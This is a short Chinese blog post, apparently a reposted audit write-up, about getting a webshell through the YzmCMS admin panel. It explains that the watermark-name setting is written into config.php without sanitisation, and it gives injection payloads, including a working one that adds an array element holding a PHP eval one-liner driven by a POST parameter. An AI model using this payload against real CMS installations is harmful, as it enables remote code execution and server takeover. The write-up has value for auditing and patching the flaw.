首页 > 代码库 > Yzmcms后台拿shell

Yzmcms后台拿shell

废话不多说,直入正题

首先function.php

技术分享

可以看到此方法是用数组遍历的方式写入到/config/config.php

打开config.php看看

 

<?php
return array(
 
//系统配置
‘site_theme‘ => ‘default‘, //站点默认主题目录
‘url_html_suffix‘ => ‘.html‘, //URL伪静态后缀
 
//数据库配置
‘db_type‘   => ‘mysqli‘,     // 数据库链接扩展【暂支持 mysql 和 mysqli】
‘db_host‘ => ‘127.0.0.1‘,  // 服务器地址
‘db_name‘ => ‘yzmcms‘,    // 数据库名
‘db_user‘ => ‘root‘,      // 用户名
‘db_pwd‘ => ‘root‘,          // 密码
‘db_port‘ => 3306,        // 端口
‘db_prefix‘ => ‘yzm_‘,      // 数据库表前缀 
 
//路由配置
‘route‘ => array(‘m‘=>‘index‘, ‘c‘=>‘index‘, ‘a‘=>‘init‘),  //默认加载配置,基中“m”为模型,“c”为控制器,“a”为事件
 
//Cookie配置
‘cookie_domain‘ => ‘‘, //Cookie 作用域
‘cookie_path‘ => ‘/‘,  //Cookie 作用路径
‘cookie_ttl‘ => 0,     //Cookie 生命周期,0 表示随浏览器进程
‘cookie_pre‘ => ‘yzmphp_‘, //Cookie 前缀,同一域名下安装多套系统时,请修改Cookie前缀
‘cookie_secure‘ => false,  //是否通过安全的 HTTPS 连接来传输 cookie
 
//系统语言
‘language‘ => ‘zh_cn‘, //【暂支持 简体中文zh_cn 和 美式英语en_us】
 
//附件相关配置
‘upload_file‘ => ‘uploads‘,  //上传文件目录,后面一定不要加斜杠(“/”)
‘watermark_enable‘ => ‘1‘, //是否开启图片水印
‘watermark_name‘ => ‘mank.png‘, //水印名称
‘watermark_position‘ => ‘9‘, //水印位置
 
);
?>

用return array()把所有配置定义成一个数组

33行水印名称这里可以从后台控制

技术分享

系统管理 > 系统设置 > 附加设置

技术分享

这时候你一定想到了在水印名称处闭合单引号插一句话到config.php中

如这样:

技术分享

‘,);?><?php eval($_POST[‘a’])?>

成功闭合插入,那么问题来了,连不上

当时我就懵逼了

技术分享

可能是程序有一些防护措施,于是试了几个珍藏多年的过狗一句话

自信满满的写入进去,依然连不上

当时我的心情是这样的

技术分享
这tm不科学啊
赶紧去问了问fly师傅
得知是因为return出去了,可以闭合单引号添加数组的思路来搞一搞

和几个朋友讨论后搞出了这样的思路

‘,’test’=>”${@eval($_POST[‘a’])};”,’a’=>’

技术分享

成功连接

技术分享

以后会多出一些审计的文章,发现不玩审计不知道,一玩才发现自己是真的菜唉–

Yzmcms后台拿shell